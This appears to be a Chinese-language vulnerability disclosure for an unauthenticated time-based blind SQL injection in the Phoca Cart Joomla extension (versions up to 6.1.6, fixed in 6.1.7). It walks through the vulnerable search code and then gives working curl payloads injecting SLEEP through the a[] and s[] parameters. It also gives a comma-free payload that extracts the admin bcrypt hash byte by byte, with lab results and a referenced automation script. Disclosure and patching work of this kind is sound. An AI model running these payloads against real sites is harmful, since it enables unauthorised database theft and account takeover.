Phoca Cart ≤ 6.1.6——未认证攻击者通过时间盲注提取完整数据库
Phoca Cart 公共商店物品页面上的 a[](属性)和 s[](规格)GET 数组参数未经参数化或转义,被原样拼接进 SQL WHERE 子句。未认证攻击者可通过这些参数注入任意 SQL,从而利用时间盲注技术提取完整数据库。
该漏洞存在于 admin/libraries/phocacart/search/search.php 中的 getSqlPartsArray() 函数。该函数在构建 IN() 列表之前调用 explode(',', $v),但从未对结果值进行转义——因此不含逗号的载荷会原封不动地进入 SQL 查询。由于 getItemListQuery() 在每次请求中被调用两次(getTotal() + getItemList()),一个 SLEEP(N) 载荷会导致 2×N 秒的可观察延迟,使时间检测高度可靠。
| 组件 | 受影响版本 | 测试环境 | 已修复版本 |
|---|---|---|---|
| Phoca Cart (com_phocacart) | 5.0.0 – 6.1.6 | Joomla 5.4.7 + Phoca Cart 6.1.6 (PHP 8.2 / Apache) | 6.1.7 |
类型: SQL 注入——时间盲注(CWE-89)
所需认证: 无——公开可访问的端点
文件: admin/libraries/phocacart/search/search.php
物品模型直接从 HTTP 请求中读取 a[] 和 s[] 参数,且未进行任何净化处理:
SITE/MODELS/ITEMS.PHP — 第 92–93 行
$this->setState('a', $app->getInput()->get('a', '', 'array')); // ← raw array from GET
$this->setState('s', $app->getInput()->get('s', '', 'array')); // ← raw array from GET
这些值会被传递给 getSqlPartsArray(),该函数按逗号拆分每个值,并将拆分后的片段直接插入 SQL IN() 子句:
SEARCH.PHP — GETSQLPARTSARRAY() 第 318–363 行(存在漏洞)
foreach ($value as $k => $v) {
$a = explode(',', $v); // splits on comma — but does NOT escape
$a = array_unique($a);
if ($k && $v) {
if ($searchArea == 'a') {
// ANY method — $a values are NOT escaped before implode:
$inA[] = '(at2.alias = ' . $db->quote($k) . ' AND v2.alias IN ('
. '\'' . implode('\',\'', $a) . '\'' // ← raw user input injected here
. '))';
// ALL method — $v2 injected raw into double-quoted context:
foreach ($a as $v2) {
$inAS[$iA] = 'at2.alias = ' . $db->quote($k)
. ' AND v2x' . $iA . '.alias = "' . $v2 . '"'; // ← raw $v2
$iA++;
}
}
else if ($searchArea == 's') {
// specification filter — same pattern, same flaw:
$inA[] = '(s2.alias = ' . $db->quote($k) . ' AND s2.alias_value IN ('
. '\'' . implode('\',\'', $a) . '\'' . '))'; // ← raw
}
}
}
最终生成的 SQL 片段被插入主查询:
a.id IN (
SELECT at2.product_id FROM #__phocacart_attributes AS at2
LEFT JOIN #__phocacart_attribute_values AS v2 ON v2.attribute_id = at2.id
WHERE (at2.alias = 'color' AND v2.alias IN ('INJECTION POINT'))
GROUP BY at2.product_id HAVING COUNT(at2.alias) >= 1
)
filter.php 中的 getActiveFilterValues() 会对 a[]/s[] 值应用 filterValue($item, 'alphanumeric') 以用于显示层。然而,getSqlPartsArray() 会通过 $app->getInput()->get('a', '', 'array') 重新读取同一批参数,且未应用任何净化,从而完全绕过了显示层的防护。
无需认证。 物品视图(/index.php?option=com_phocacart&view=items)公开可访问。无需在商店中配置任何属性或规格。
未认证用户无需任何凭据即可访问购物门户。

Burp Suite 中捕获的原始请求——基线响应时间:76ms。

a[])通过 a[color] 参数注入 SLEEP(3) 载荷。由于 getItemListQuery() 在每次请求中被调用两次,预期延迟为 2 × 3 = 6s。实际观测:7085ms——确认存在漏洞。
# Time-based blind SQLi — SLEEP(3) fires twice → ~6s response
curl -s -o /dev/null -w "%{time_total}s\n" -G \
--data-urlencode "option=com_phocacart" \
--data-urlencode "view=items" \
--data-urlencode "a[color]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
"http://TARGET/index.php"
# Result: 7.085s — CONFIRMED
# Specification filter (s[]) — same code path
curl -s -o /dev/null -w "%{time_total}s\n" -G \
--data-urlencode "option=com_phocacart" \
--data-urlencode "view=items" \
--data-urlencode "s[spec]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
"http://TARGET/index.php"

将 SLEEP(3) 替换为 SLEEP(0) 会立即返回(1064ms),确认延迟由注入的 SLEEP 引起,而非网络条件。

逐字节提取管理员 bcrypt 哈希。关键限制:explode(',', $v) 在构建 SQL 之前会按逗号拆分——载荷必须使用 SUBSTRING(str FROM pos FOR len)(ANSI 关键字语法)以避免逗号截断,并使用 CASE WHEN ... THEN ... ELSE ... END 代替 IF()。
# Extract ASCII value of char at position POS from admin password hash
# Replace POS (1-based) and EXPECTED_ASCII with actual values
# SLEEP(2) fires twice → 4s = match; <1s = no match
PAYLOAD="x' AND (SELECT COUNT(*) FROM (SELECT CASE WHEN \
((SELECT ASCII(SUBSTRING(password FROM POS FOR 1)) FROM jos_users WHERE username=0x61646d696e)=EXPECTED_ASCII) \
THEN SLEEP(2) ELSE 0 END as r)tmp) AND '1'='1"
curl -s -o /dev/null -w "%{time_total}s\n" -G \
--data-urlencode "option=com_phocacart" \
--data-urlencode "view=items" \
--data-urlencode "a[color]=$PAYLOAD" \
"http://TARGET/index.php"
实验室验证——admin bcrypt 哈希的前 12 个字符:
| 位置 | 字符 | ASCII | 响应 | 匹配 |
|---|---|---|---|---|
| 1 | $ | 36 | >6s | ✓ |
| 2 | 2 | 50 | >6s | ✓ |
| 3 | y | 121 | >6s | ✓ |
| 4 | $ | 36 | >6s | ✓ |
| 5 | 1 | 49 | >6s | ✓ |
| 6 | 0 | 48 | >6s | ✓ |
| 7 | $ | 36 | >6s | ✓ |
| 8 | L | 76 | >6s | ✓ |
| 9 | N | 78 | >6s | ✓ |
| 10 | v | 118 | >6s | ✓ |
| 11 | t | 116 | >6s | ✓ |
| ... | ... | ... | >6s | ✓ |
已提取前缀 $2y$10$LNvt...——完整的 60 字符 bcrypt 哈希可在约 240 次请求中恢复。
附带的 exploit.py 脚本使用上述相同的时间盲注技术,无需手动迭代即可自动提取完整的管理员密码哈希。
python exploit.py http://TARGET

com_phocacart 并提供公开前端的站点均可被利用。INSERT / UPDATE / DELETE 语句,包括创建新的管理员账户或修改订单记录。